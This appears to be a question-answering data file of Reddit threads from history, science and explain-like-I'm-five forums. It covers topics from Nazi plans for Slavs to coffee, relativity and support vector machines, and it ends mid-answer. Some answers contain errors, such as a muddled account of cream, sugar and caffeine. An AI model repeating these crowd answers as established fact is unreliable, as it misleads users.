{"q_id": "2v6keq", "title": "Was Hitler really planning to kill all slavic people ?", "selftext": "I know that slavs were considered by Hitler non-aryan and this should mean that they have to be \"cleaned\". \nWhat seems strange to me is that compared to jews, slavs are A LOT of people. 10 million jews are a lot too, but ~200 million slavs is something else. Putting everything else aside, it just does not seem practical. \n\nWas he really that crazy or there was some kind of more elaborate plan to \"deal\" with slavs ?\n\nP.S. I know this is sensitive topic for a lot of people and I do not mean to offend anyone. I do not in any way try to defend the nazi agenda. \n\nP.S.2 I know some slavs were Germanys allies so obviously we can put them aside. To make things easier, we could assume we are talking about people speaking slavic language that were not nazi allies. \n\nP.S.3 According to the American Jewish Yearbook, the Jewish population of Europe was about 9.5 million in 1933; I could not find estimation of slavs living in Europe ( and USSR parts of Asia) around that time, but about 200 million people sounds reasonable to me, correct me if you have more precise information.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2v6keq/was_hitler_really_planning_to_kill_all_slavic/", "answers": {"a_id": ["coezb7g"], "score": [21], "text": ["Nazi plans were sort of ambiguous as to what would actually happen to the Slavs after the conquest of the Soviet Union was complete. Nazi Slavic policy was never comprehensive or coherent either; the Nazi leadership were perfectly fine with Slavic people who aided overall German war aims and who did not happen to live in prospective Lebensraum. Slavic nationalities who *did* live on what was considered future Lebensraum or who actively resisted Axis military or occupational forces were essentially marked for destruction. For this reason, the Bulgarians, Croatians and Slovakians were granted autonomy and ultimate self-preservation, while the Poles, Czechs, Russians, Ukrainians etc. were to be eradicated.\n\nEven within the Nazi party's leadership, attitudes towards Slavs were not unified or coherent. Some like Rosenberg were incredibly anti-Slav while Hermann Goering was surprisingly less prejudiced (he admired the Poles for their military resistance against Bolshevism and wrote the forward for the German edition of Marshal Pilsudski's collected works). Even as late as 1938, a Nazi Nuremberg Rally pamphlet listed the Slavs as an 'Indo-Germanic' people alongside the Germanic and Celtic peoples.\n\nNazi Slavic policy was thus inconsistent and malleable, and was often changed and reworked according to circumstance. They would attribute 'Germanicness' to Slavs whenever it was politically convenient, such as when Cossack units deserted to  the Axis or when the Soviet Army began to reorganize and gain the upper hand (Himmler once claimed that Stalin must have been a lost Aryan despot akin to Genghis Khan). During the war, Hitler and Himmler became convinced that the 'Slavic race' was actually a social construct devised by the Imperial Russian Pan-Slavists and that Slavs could be reduced into a multitude of racial sub-types. The goal of this move was to destroy any claim to Polish, Russian or Ukrainian nationality and to play Slavic communities against each other by favouring the more 'Germanic' ones.\n\nThe general outline for what would happen to the Slavic people marked for destruction was this: over 50% would be liquidated or relocated, a smaller percentage would be kept for slave labour while an even smaller percentage would be 'Germanized'. The proportions differed for each nation, with nearly 50% of Czechs marked for Germanization while most Russians would be destroyed or removed. The plan was to kill as many Slavs through starvation as possible which was actually iniatited with the *Hungerplan*, where all food resources in the East were directed to German military forces. The mass starvation of Soviet POWs was part of this plan. Afterwards, the remaining population marked for removal would be relocated 'east of the Urals'. Whether this meant the establishment of some German run protectorate rump-state or was a euphemism for full on genocide was unclear, possible intentionally. \n\nIn reality the destruction or removal of the Slavic population was impossible. The amount of Soviet people set for destruction would have left the Soviet east completely unworkable. There were simply not enough German colonists to make the removal of Slavic populations feasible; even during the war German colonists barely made inroads in occupied Poland, and even there they had to rely on local labour. Low German birthrates and available labour would make the wholesale removal of Russian, Ukrainian and Polish populations simply unfeasible. Unlike the Jews, the Slavs weren't really perceived of as a unified race which made their complete destruction impossible as well. Basically, the Nazis had no clear or unified Slavic policy, and when they did develop one, it was basically impossible to actually implement in the real world."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2x4077", "title": "When and why do animals \"wage war\"? (intraspecific violence on a larger scale - further clarification included)", "selftext": "Hey, askscience!\n\nI come from the field of International Relations which most of you probably wouldn't consider science (and I can see the point in that). A few studies in Ethology on the causes of aggression in humans and animals have gained some popularity in IR. IR scholars are very well aware of the limited applicability of those studies to the complex situation of actual military conflict, but they're a neat starting point for further considerations.\n\nAs an overview of the studies related to human aggression in ethology I've read JOHN ARCHER 2009: \"The nature of human aggression\", in: International Journal of Law and Psychiatry 32, 202\u2013208.\n\nAfter some research, I think the most well-known authors in regard to the study of \"animal warfare\" are [Richard Wrangham](_URL_2_), John C. Mitani and David P. Watts. They've studied territorial boundary patrol behaviour, cooperation and competition in apes. I've also come across a few other authors who've studied apes and monkeys.\n(Btw: If anyone is interested in a short read on those studies: [Discovery News](_URL_0_) or [Slate](_URL_1_).)\n\nI have some personal interest in this and wasn't really satisfied with what I found. So I did some research in other directions. I would especially like to get some insight into intraspecific conflicts among eusocial animals. The best thing I could find was TODD M. PALMER 2004: \"Wars of attrition: colony size determines competitive\noutcomes in a guild of African acacia ants\", in: Animal Behaviour, 68, 993\u20131004 as well as GISSELLA M. VASQUEZ  &  JULES SILVERMAN 2008: \"Intraspecific aggression and colony fusion in the Argentine ant\", in: Animal Behaviour, 75, 583 -593.\n\nNow, since I'm not a native in the field of Biology/Ethology and don't even know where else to look for information, maybe some of you could share your insights: \n\n- When and why (over what) do groups of animals fight members of their own species? \n\n- Are there any examples of weapon use, besides natural weapons like teeth/claws? \n\n- How is violence organised? How do animal groups chose their soldiers?\n\n- How is defense implemented? I know for example from my research that apes patroll borders of their territory. Do we find similiar behaviours in other animals.\n\nI'm grateful for every piece of information you can pass on to me. Reference to actual sources will give you extra gratefulness-points!\n\nSorry, if a question like this has already been asked. My search didn't turn up anything.\n\ntl;dr: I know groups of apes fight within their own species. Are there any similiar behaviours in other animals? I also know that fights among different colonies occur in some ant species. When and why do they fight?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2x4077/when_and_why_do_animals_wage_war_intraspecific/", "answers": {"a_id": ["coww67l"], "score": [6], "text": ["This is a really interesting topic.\n\nIn the 1960s and 70s evolutionary biologists George Price and John Maynard Smith delineated all the possible scenarios in which individuals might behave a certain way and asked why individuals might be aggressive in certain situations but submissive in other situations. They in fact applied the rules of economic game theory and the Nash Equilibruim within a biological context.\n\n\nIt's very interesting that you touched upon weaponry because that was one of the things they were particularly curious about. It seems strange that stags for example grow these massive antlers which are extremely costly to grow and are by no means an efficient combat weapon. In fact there are many examples of animals growing inefficient weaponry used for intra-species duels. Whereas inter-species weaponry is usually a lot more effective.\n\n\nIt is a fascinating but complex subject and I may take some reading to really get a handle on but well worth it.\n\n\nI would recommend watching this short documentary on the evolution of sociality and culture. It explores social evolution right back to eusocial insects all the way up to exploring the selfless psyche of an emergency service worker running into a burning building during 9/11.\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": ["http://news.discovery.com/animals/zoo-animals/chimp-war-behavior.htm", "http://www.slate.com/articles/health_and_science/human_evolution/2012/10/chimpanzee_wars_can_primate_aggression_teach_us_about_human_aggression.html", "http://www.amazon.com/Demonic-Males-Origins-Human-Violence/dp/0395877431"], "answers_urls": [["https://www.youtube.com/watch?v=0jT_LBMMdwg"]]}
{"q_id": "p241a", "title": "I once read that if you do mundane activities with your non-dominant hand, it improves the plasticity of the brain. Is that true?", "selftext": "I am trying to brush my teeth and use my mouse with my left hand and so far, only my forearms have been aching. Any truth to this and what would be the anticipated results?\n\nEdit: It would be nice for scientists to reply to this and not \"jerk off with your other hand\" suggestions.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/p241a/i_once_read_that_if_you_do_mundane_activities/", "answers": {"a_id": ["c3lvtmu", "c3lw28c", "c3lw3hq", "c3lwbjm", "c3lwm26", "c3lxs7w", "c3m0hbu", "c3m1lrq"], "score": [63, 25, 83, 7, 247, 2, 3, 3], "text": ["Also, may I add a question I just thought of while reading your post?\nIf this is true, what is the functionality of an ambidextrous person's brain like?\nAs one who does mundane activities with both hands I would like to know.\n\nedit: missing a word", "I can't find a study that backs the assertion that such activity increases brain plasticity. However, I am aware of studies that show that using one's non-dominant hand for routine activities can improve self-discipline.\n\n >  In addition, it has been shown that simple self-control regimens, such as using the non-dominant hand for daily activities, can reduce the depleting effects of suppressing stereotypes. More recently, these results have been extended to health behaviors such as smoking cessation.\n\n >  These findings support the notion that self-regulatory strength can be increased through practice and that once increased, this newfound capacity to self-regulate can be used not only for comparatively banal tasks such as maintaining posture or using one\u2019s non-dominant hand, but also for behaviors with important health consequences such as resisting the temptation to smoke.\n\n--- [Cognitive neuroscience of self-regulation failure](_URL_0_) (Oh yeah, **PDF warning**.)", "Do you have any sources for your question? It would be easier to guage them. \n\nIn the meantime I've stumbled across a fascinating article [here](_URL_0_). It's on left-handers being \"converted\" to right-handers during school (for writing). Apparently the convert left-handers (who write with their right) have increased bilateral function in (some of) the motor and language areas. I have to go read this paper now.", "Technically, learning any kind of new habit is an exercise in brain plasticity. \n\nBut does doing mundane activities with your non-dominant hand improve overall plasticity in the long-run? I've never heard of it. \n\nThere is, however, evidence that using your non-dominant hand while eating will help you eat less .", "Bottom line:  yes, you can create neuroplastic **changes** to your brain if you repeatedly use your non-dominant hand to complete tasks.  Not necessarily an improvement in plasticity, just a utilization of the mechanism.  However, if you're just brushing your teeth and using your mouse, you're not going to get very far.  To make some significant improvement in the dexterity of your left hand, you will need to do the following things:  1)restricted use of the right hand (as much as possible) 2)massed repetitive practice and 3) [shaping](_URL_5_) of the left hand.  Meaning, you should use your left hand for everything, do tasks over and over, and make them increasingly difficult as your skill improves.  This technique is known as Constraint-Induced Movement Therapy (CIMT) and it has been shown to significantly improve the motor capability in [stroke patients with hemiparesis](_URL_7_), [multiple sclerosis](_URL_1_) with similar hemiparetic presentation, [pediatric cerebral palsy](_URL_2_), [focal hand dystonia](_URL_4_), and other neurological conditions.  In the CIMT training paradigm, the stronger hand is restricted using a protective mitt for 90% of waking hours, a series of motor tasks is performed with the weaker hand for 3 hours a day for two weeks, and patients are sent home with a behavioral \"transfer package\" for them to complete assignments and score their at-home motor performance.  \n\nMultiple imaging studies have demonstrated neuroplastic changes that occur as a result of this intervention.  A few:\n\n[Gauthier et al 2008](_URL_0_)\n\n[Mark, Taub,  &  Morris, 2006](_URL_3_)\n\n[Levy et al, 2001](_URL_6_)\n\nHave fun with your auto-experiment!  ", "This is absolutely true. Please read The Brain That Changes Itself by Dr. Norman Doidge. In the book is all of the detailed information and scientific research you are looking for regarding brain plasticity. Even your specific question about using our non-dominant hand is addressed. \n\nAnyone who tells you no is looking at outdated research. ", "I think the OP's question is whether using his left hand will increase plasticity in his brain 'globally' which would result in better learning etc. rather than just increased coordination of his left hand.  dearsomething's article would appear to indicate it's possible, but there are so many problems with that interpretation, as folks have pointed out.\n\nEdit:  Related to the OP's question;  in many Japan day care centers for the elderly, new dexterous skills are encouraged (origami and such) in the believe that this can prevent dementia. Is there any evidence for that belief?   ", "i believe there was some work done on this in the [nun study](_URL_0_)\n\napparently the nuns provide  a great control group.  The above is one web site i was able to find quickly and that is reputable but i'm actually thinking of a book that was written on this; i'll see if i can track it down/"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.dartmouth.edu/~thlab/pubs/11_Heatherton_Wagner_TICS15.pdf"], ["http://neuro.cjb.net/content/22/7/2816.short"], [], ["http://stroke.ahajournals.org/content/39/5/1520.full.pdf", "http://msj.sagepub.com/content/14/7/992.short", "http://www.pediatricsdigest.mobi/content/113/2/305.full", "http://old.spread.it/Volume/chapt18/add_18/ref_18529.pdf", "http://ukpmc.ac.uk/abstract/MED/10023959/reload=0;jsessionid=DRoxKKfMdZfvQUw7lQVs.19", "http://en.wikipedia.org/wiki/Shaping_(psychology)", "http://journals.lww.com/ajpmr/Abstract/2001/01000/Functional_MRI_Evidence_of_Cortical_Reorganization.3.aspx", "http://www.thelancet.com/journals/laneur/article/PIIS1474442207702946/abstract?isEOP=true"], [], [], ["http://www.neuroanatomy.wisc.edu/selflearn/Nuns&amp;alzheimers.htm"]]}
{"q_id": "2a2t79", "title": "why are hemi engines not found in smaller cars?", "selftext": "It's my understanding that Hemi engines (because of the inherent design) are more fuel efficient and produce more power than a standard V design. If that's the case, why don't they make Hemi 4-cylinder cars? Wouldn't it increase their fuel efficiency and ability to tow?\nI can't imagine that the reason is necessarily a patent infringement thing. How hard would it be for Honda, Toyota or Ford to create their own Hemi design...\n\nThanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2a2t79/eli5why_are_hemi_engines_not_found_in_smaller_cars/", "answers": {"a_id": ["ciqxl1e", "ciqxm4d", "ciqxsmz", "ciqz5e5"], "score": [7, 4, 2, 5], "text": ["As I understand it, the \"hemi\" engine is a marketing gimmick. The dome-topped cylinders (it has nothing to do with the \"v-shape,\" that's a cylinder alignment) are used to some benefit in high-performance racing engines, but for street-legal cars the effect of the dome is minimal to nonexistent. \n(Sorry, this more like an ELI16 answer)", "Hemis are two things if nothing else: Heavy and expensive.\n\nNeither one of those go with \"smaller car\" as the majority of the car buying market presently stands.", "True Hemi engines aren't very fuel efficient compared to more modern designs and they have poor emission ratings as well. But as I understand it, hardly anyone still produce real Hemi engines (with hemispherical combustion chambers). Today Hemi is just a marketing label applied to certain engines.", "Back in the day it was a technological improvement, so they included it in their advertising. \n\nEngine design and technology progressed, but they kept the term 'Hemi' for advertising purposes, because it had been associated with performance and sports cars, and consumers didn't know any better."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "135hay", "title": "Why do left-handed fermions transform as doublets and right-handed particles as singlets?", "selftext": "I don't know how generally applicable this is, but it is at least true in electroweak theory. The answer *seems* to be \"it just is this way\" but if so, what is the practical upshot of the different forms of the left- and right-handed particles?\n\nedit: in the title I say \"fermions\" first and then \"particles\". I mean fermions in both cases.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/135hay/why_do_lefthanded_fermions_transform_as_doublets/", "answers": {"a_id": ["c710mk3", "c710wqq"], "score": [2, 13], "text": ["I'm not sure of the answer, but I found a paragraph on the relevant Wikipedia article that seems to give a lead ...\n\n[Wikipedia: Weak interaction](_URL_0_):\n\n\"Although the weak interaction used to be described by Fermi's theory, the discovery of parity violation and renormalization theory suggested a new approach was needed. In 1957, Robert Marshak and George Sudarshan and, somewhat later, Richard Feynman and Murray Gell-Mann proposed a V\u2212A (vector minus axial vector or left-handed) Lagrangian for weak interactions. In this theory, the weak interaction acts only on left-handed particles (and right-handed antiparticles). Since the mirror reflection of a left-handed particle is right-handed, this explains the maximal violation of parity.\"\n\nI don't know enough about Lagrangians to tell you what is special about the V-A Lagrangian (and there isn't an associated Wikipedia article).  A cursory Google search found [this PDF](_URL_2_) which seems to have some history and discusses some of its properties ... perhaps the technical jargon will make a little more sense to you than to me.\n\nAnd lastly, there is the Wikipedia article on the [electroweak interaction](_URL_1_) which has a written out explaination about the parts of the electroweak Lagrangian which is over the top of my head.  But it ends with, \"Note the (1-\u03b3^(5))/2 factors in the weak couplings: these factors project out the left handed components of the spinor fields. This is why electroweak theory (after symmetry breaking) is commonly said to be a chiral theory.\"\n\nAll of the above makes it seem like the answer is along the lines of \"that's the form the Lagrangian takes after electroweak symmetry breaking.\"", "This is true for all the standard model fermions, but there isn't really a known reason for it.\n\nWhat you're asking kind of gets at the foundation of the standard model, namely the fact that it is based on gauge invariance under the group U(1)\u00d7SU(2)\u00d7SU(3), where the SU(2) part of the transformation applies only to left-handed fermions. In principle, we could have had a universe based on U(1)\u00d7SU(2)\u00d7SU(2)\u00d7SU(3), i.e. with an extra SU(2) group that applies to right-handed fermions as well, but we don't. The standard model doesn't really bother to explain why, it just starts with the particular gauge symmetry we know to work and proceeds from there.\n\nPerhaps some more fundamental theory gives a reason why the gauge symmetries are as they are, but anything of that nature would be speculative right now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Weak_interaction", "http://en.wikipedia.org/wiki/Electroweak#After_electroweak_symmetry_breaking", "http://www.google.com/url?sa=t&amp;rct=j&amp;q=v-a%20lagrangian&amp;source=web&amp;cd=5&amp;ved=0CEcQFjAE&amp;url=http%3A%2F%2Fquest.ph.utexas.edu%2FReviews%2FVA%2FVA.pdf&amp;ei=QvuiUI3INKuJ0QHchYCQAw&amp;usg=AFQjCNHWnWZ9EH9eNKCuPkVE5Rk3FbZYEA&amp;cad=rja"], []]}
{"q_id": "31rdw6", "title": "why does coffee make me so jittery when served black but has little effect when served with cream and sugar?", "selftext": "I recently tried drinking coffee in the mornings without using sweetener or cream and spend the first two hours of everyday unable to sit still. Is this a mental or physical effect?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31rdw6/eli5why_does_coffee_make_me_so_jittery_when/", "answers": {"a_id": ["cq48e0k", "cq48ywr", "cq4bvlg", "cq4g4sk", "cq4s717"], "score": [27, 7, 22, 2, 4], "text": ["It may well be that that is your expectation and so you feel that way. There's no real reason for this to happen.", "The fat in dairy products slows down the absorption rate of the caffeine.", "A variation on the placebo effect would be my guess. ", "You are drinking a little more coffee because you're not diluting it with milk and sugar, but it is a small difference. I would bet it is placebo. ", "Coffee /caffeine directly affects the central nervous system. When the CNS becomes hyped up, adrenaline is introduced, via the adrenal glands, to the blood stream and attempts to use all immediately available sugar to turn the glucose to fuel, hence a drop in blood sugar. When you add cream and sugar, especially cream, it reduces this affect because the immediately available blood glucose is reduced because the cream breaks down more slowly into glucose since it contains fat, which becomes glucose and fatty acids when it does break down.Sugar breaks down to glucose very rapidly.. I.e. cream is higher on the glycemic index. You would momentarily feel the same if you just put sugar in your coffee but the affects would be the same as black coffee because of how rapidly sugar breaks down to glucose and the rapid absorption the CNS requires from the adrenal response.\nI always drink my coffee with cream to delay the jittery effect and keep the caffeine buzz longer because it will stay longer in my system by adding cream.\n\nTldr: it's about how the adrenal glands react to caffeine and your current blood glucose level.\n\n*wording/typo"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3kpox7", "title": "When cycling, how much drag can hair actually cause?", "selftext": "I cycle to and from work, in my spare time, etc. I'm curious if there has ever been an in-depth look into how much drag your hair can actually cause. I've got fairly thick hair, I push it to the side and slightly up; the wind catches it. I see that professional cyclists have tight caps they wear. \n\nHave there been any controlled experiments on the matter? Does it make a night and day difference?\n\nThanks.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3kpox7/when_cycling_how_much_drag_can_hair_actually_cause/", "answers": {"a_id": ["cuznh0x", "cuzwrzy"], "score": [9, 16], "text": ["I don't know how scientific you would consider it, but pro and semi-pro cyclists mostly agree that shaving your legs saves you several seconds over each hour of riding. \n\nShaving arms and faces has a smaller effect, as the legs move faster with respect to the air (all that forward and backward motion).", "Specialized did some tests regarding this earlier this year: \n_URL_0_\n\nThese were of course wind tunnel tests but quite many seconds over a rather short distance. But for the average commuter it seems hardly worth the effort :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.stickybottle.com/coaching/are-you-more-aero-and-faster-with-shaved-legs-these-wind-tunnel-results-are-staggering/"]]}
{"q_id": "5p1kmb", "title": "stoichiometry and the math behind it", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5p1kmb/eli5_stoichiometry_and_the_math_behind_it/", "answers": {"a_id": ["dcnpfvt"], "score": [2], "text": ["Stoichiometry is used to avoid violating the conservation of mass by making sure there are the same number of atoms on each side of the equation. For example, CH4+O2=CO2. This is true, but it is not accurate because there are still four hydrogens and one oxygen that are on the left side but not on the right and they sure as hell didn't fall off the face of the earth. As such the accurate one is CH4+2O2=CO2+2H2O because that accounts for all of the atoms present in the equation. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "o3d1q", "title": "Can time be slowed within a spinning space station?", "selftext": "Say that a space station could be spun to incredible speeds like at least half the speed of light. Would time slow down the same for the inhabitants as if they were traveling in a straight line at that speed? I assume that the centrifugal force would be too much to survive but I'm asking to ignore that little detail.\n\nThis is sort of for a science fiction perspective. If a highly advanced civilization could create artificial planets and live on them and send out ships that go near the speed of light but compensate for the slowed time on the ships by having the artificial planets match the time dilation.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o3d1q/can_time_be_slowed_within_a_spinning_space_station/", "answers": {"a_id": ["c3e2hne"], "score": [3], "text": ["Rotation does in fact produce time dilation. For the purposes that you are looking for though, it would not have the effect you want. Any time you have a time dilation it is in regards to a specific reference frame. For the sake of argument let's say you have three reference frames, the planet (P), the ship (S) and a third that is outside of the planet/ship system (O) for observer. Further for the sake of argument let's say that the time dilation in P and S as measured from O was equal. That has no bearing on the time dilation of S as measured from P or the time dilation of P as measured from S. Since an object is at rest in its own reference frame, P's non-zero time dilation as measured by S or O could do nothing to offset the time dilation of S as measured from P. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2dn3ac", "title": "I hear often that Hitler's rise to power was made possible by \"conservatives\" who though they could control him. Why didn't these \"conservatives\" stage a coup against Hitler when he proved uncontrollable?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2dn3ac/i_hear_often_that_hitlers_rise_to_power_was_made/", "answers": {"a_id": ["cjr5wvg"], "score": [256], "text": ["It was not an overnight thing, and Hitler essentially couped them first. \n\nHitler's rise to power coincided with a simultaneous rise of Communism and Nazism in Germany. The conservatives in question (e.g. Hindenburg and the Catholic Center Party) favored Hitler over the Communists. After the Reichstag fire they gave him the power to crack down on Communists with paramilitary operations. All through this time Hitler consolidated his power with the German government, making sure that important posts were filled with people who were loyal to him. \n\nThe deciding moment, if there was one deciding moment, was the passage of the Enabling Act. The NSDAP used all of their power to sway the Reichstag vote, including actually physically prohibiting opposition from showing up. They received assistance from the Center party only after giving their leaders assurances that President Hindenburg would retain a veto, but after the passage of the Enabling Act the state was essentially a dictatorship. \n\nWho would have led such a coup against Hitler at this point? The Communists and Social Democrats? Already unpopular and now banned or oppressed by the brownshirts (the Sturmabteilung). The moderate left? Not strong enough. The conservative center? By this point, not strong enough. The military? They more or less supported Hitler because he wanted to make them bigger and stronger. (And eventually non-supporters were purged.) \n\nThere are two wrong popular American perceptions of Hitler's rise to power. One is that it was a totally populist movement, a genuine will of the people. The other is that Hitler just showed up and took control and forced everyone to do what he said. The truth is somewhere in between \u2014 a mixture of just enough popular support (and popular dislike/distrust/fear of the Communists, who were for a time waging an active, violent insurrection to gain control of various areas of the country) to get into a powerful position, mixed with enough means and moxie to leverage that position into a dictatorship that, once embarked upon, could not be reversed. \n\nWhen I was an undergrad and studying this stuff more closely, the book I found most useful for fully understanding how the Nazis really took over and consolidated their position in the German state was Turner's _Hitler's Thirty Days to Power: January 1933_. It sounds like a weird self-help book, but it does a great job of emphasizing how many people underestimated Hitler, and how their support of him was more about their lack of support for what they saw as the alternative (Communism). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "484p5c", "title": "The Confederate Flag and the Nazi Flags are strongly associated with racism. Are there any flags or symbols that were symbolic of abolitionism, anti-colonialism or other good causes?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/484p5c/the_confederate_flag_and_the_nazi_flags_are/", "answers": {"a_id": ["d0ha5hm"], "score": [3], "text": ["Sorry, we don't allow [\"trivia seeking\" questions](_URL_0_).  These tend to produce threads which are collections of disjointed, partial responses, and not the in-depth discussions about a particular topic we're looking for.  If you have a specific question about an historical event, period, or person, please feel free to re-compose your question and submit it again. Alternatively, questions of this type can be directed to more appropriate subreddits, such as /r/history /r/askhistory, or /r/tellmeafact. For further explanation of the rule, feel free to consult [this META thread](_URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22trivia_seeking.22_questions", "https://www.reddit.com/r/AskHistorians/comments/3nub87/rules_change_throughout_history_rule_is_replaced/"]]}
{"q_id": "3ok33q", "title": "what happens if a polygamous family moves to the us from a country where polygamy is legal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ok33q/eli5_what_happens_if_a_polygamous_family_moves_to/", "answers": {"a_id": ["cvxxhm4", "cvxxkb7", "cvxyfak", "cvxyyaf", "cvxzax1"], "score": [22, 9, 6, 5, 8], "text": ["The marriages are not recognize (or at least only one is recognized) nothing prevents them from living together. ", "Usually they'll count one wife (often the first one) as the legal wife, and the rest have no official, legal relationship. \n\nBut in practical terms, not much difference. I can live with my seventeen \"wives\", (or \"good freinds\"-*wink wink*) and my one officially recognised, legal wife. I imagine there may be some issues with legal stuff like wills, etc. And there's no divorce/alimony if there's no marriage.\n\nBut basically you just live like you did OS. ", "so what about religions that allow for multiple wives, like Islam?\n\nare the wives not recognised and if not can't they sue for infringing on their religious freedom?", "As others have said, it just wouldn't be recognised. There's also the added fact that some of the wives may not be able to move, as they'd need to apply separately, and may not meet the criteria. ", "One thing to note there are some states that fight polygamy by having laws about cohabitation with more than one woman. This was to fight the \"Yeah I only have one wife...but I live with 7 women...\" it's slimy, but hey that's the US mid west for ya...\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5hdtz0", "title": "what exactly happens when someone gets \"made partner\" of a business?", "selftext": "You hear about it happening a lot in movies and on tv.  What makes it so special?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5hdtz0/eli5_what_exactly_happens_when_someone_gets_made/", "answers": {"a_id": ["dazdu6g", "daze7e9", "dazhk2v", "daznhtu"], "score": [7, 3, 2, 2], "text": ["One of the ways to organize a business is as a partnership of the owners, rather than a corporation. Partners get a % share of the companies' profits usually. Being made a partner means the character has gone from employee to part-owner of the business.", "They are a partial owner in the business and have partial say in the decisions of the business. ", "They become a part owner of the business, which gives them a say in how the company/firm is run, and it gives them a stake in company profits as well as their salary. A law firm partner might take home 2-3x what they made as an associate when they make partner.", "You are buying a part of ownership (obviously).  The way it worked for me:\n\n1) Be given the opportunity to purchase some fraction of ownership share from another shareholder, either by capital investment or by paying for the ownership share you do so by forgoing cash distributions.  If my ownership is 25% and I buy ownership in a business with a valuation of $100k, I surrender $25,000 + interest usually over a period of time to the shareholder that is selling the ownership.\n\n2) An operating agreement is written (by an attorney in my case) that states ownership percentage of all partners, work agreement, guaranteed payments, and backout clause.\n\n3) Work to make money for the firm so you can own your equity outright\n\nNow, some things that are not formal documents that have to be considered:\n\n1) Partnerships are in effect business marriages.  Getting out is rarely an easy and painless situation.  In my case, if I leave before the balance of my buy in is paid, I am only going to get reimbursed 60% of receivables for the amount of equity I do own completely.\n2) Just like a marriage, it is very difficult sometimes to deal with partners.  My actual marriage is a lot easier than my partnership in my LLC.\n3) I have lost so much sleep because, as an employer/owner/member, you should be the first one to not get a paycheck if things go south.  You control your destiny.\n4) Expect taxes to rape you\n5) Quarterly tax payments\n6) You now have decision making power on employee benefits, insurance, salaries, etc.  The pay that owners get is usually well-deserved.  It can be very stressful at times to figure out where to invest in people.  \n7)  Owning a business is similar to having kids.  Business needs things to stay alive.  Last year I had to revamp our E/O insurance and other coverage, a lot of it revolved around data breach coverage.\n8)  People around you will eventually catch on to your success and might take advantage....watch for that.\n9)  You spend 8-10 hours a day on imgur instead of scouring G/L and aging reports to get ready for tax season.\n\nedit: typo"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "rkmjp", "title": "what is support vector machine?", "selftext": "I know it's a type of machine learning algorithm. How does it differ from, say, multiple linear regression? All explanations I've read blather about \"kernel\", \"space\" and \"hyperplanes\" without really explaining what they are.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rkmjp/what_is_support_vector_machine/", "answers": {"a_id": ["c46l04q", "c46l8ws", "c46luxm", "c46o0bd", "c46o79n", "c46pjz7", "c46ps8e", "c46rxsx"], "score": [2, 12, 9, 2, 26, 2, 5, 8], "text": ["This isn't ELI5. Do you know advanced linear algebra and set theory? If not, noone will be able to explain to you what spaces and hyperplanes are.", "So usually when you have a bunch of data you look at where all the points are and figure out how to draw a line to separate the classifications.  The deal with SVM is that if you want to draw a line between two sets then you only really need to care about the points from each set that are closest to the points from the other set.  \nSo let's say we simplify it even further and just take the one point from each set that's closest to a point from the other set providing there's no overlapping.  These two points are our support vectors and if we draw a line from one to the other and then draw another line which bisects the first then we've just drawn a line that separates the two sets without even having to look at most of the data.  We call this dividing line the 'maximum margin hyperplane' because fancy terms are fun.  \nRemember how I said 'no overlapping' before?  If you have a bunch of points from one set hanging out with points from the other set then you can't draw that nice line in between the sets.  It turns out though that you *can* draw a line between the sets if you have extra dimensions to work with.  This is kind of like how in a Pokemon game you could never cross a barrier because it was in the way but in Super Mario you could just jump right over.  \nThis is where the kernal thing comes in.  For a computer scientist 'more dimensions' basically means 'more numbers' (like how 2d coords have two numbers and 3d coords have three numbers) so what we do is take all the attributes you have already and do some funky math to them to get some more.  We then plug all that into the SVM stuff so that instead of just drawing one line, it can draw a whole bunch of lines and these lines working together separate the new set of data.  That bunch of lines describes the 'hyperplane' which is basically like a normal plane but with more dimensions.  \nOh, and as far as 'space' is concerned: you know how 2d vectors describe a point on a plane and 3d vectors describe a point in a volume.  What does a 4d vector describe a point in?  I have no idea.  Once we start using that many dimensions we kind of stop bothering with naming them and just call it 'space' in general.  What you'll see is explanations talking about transforming your old attribute space into a higher order attribute space.  That just means the bit where you use the kernal function to get some more numbers.  ", "Ok, I'm interested in this, but far away from mastering it so, take this with a grain of salt.. And everyone is invited to correct me. Also, I don't see how to ELI5 this.. but I'll try to keep it simple.\n\nFirst, SVM is a classification algorithm. Linear regression tries to find a model (a function) that given a known X value (or multiple variables in MLR) fits with 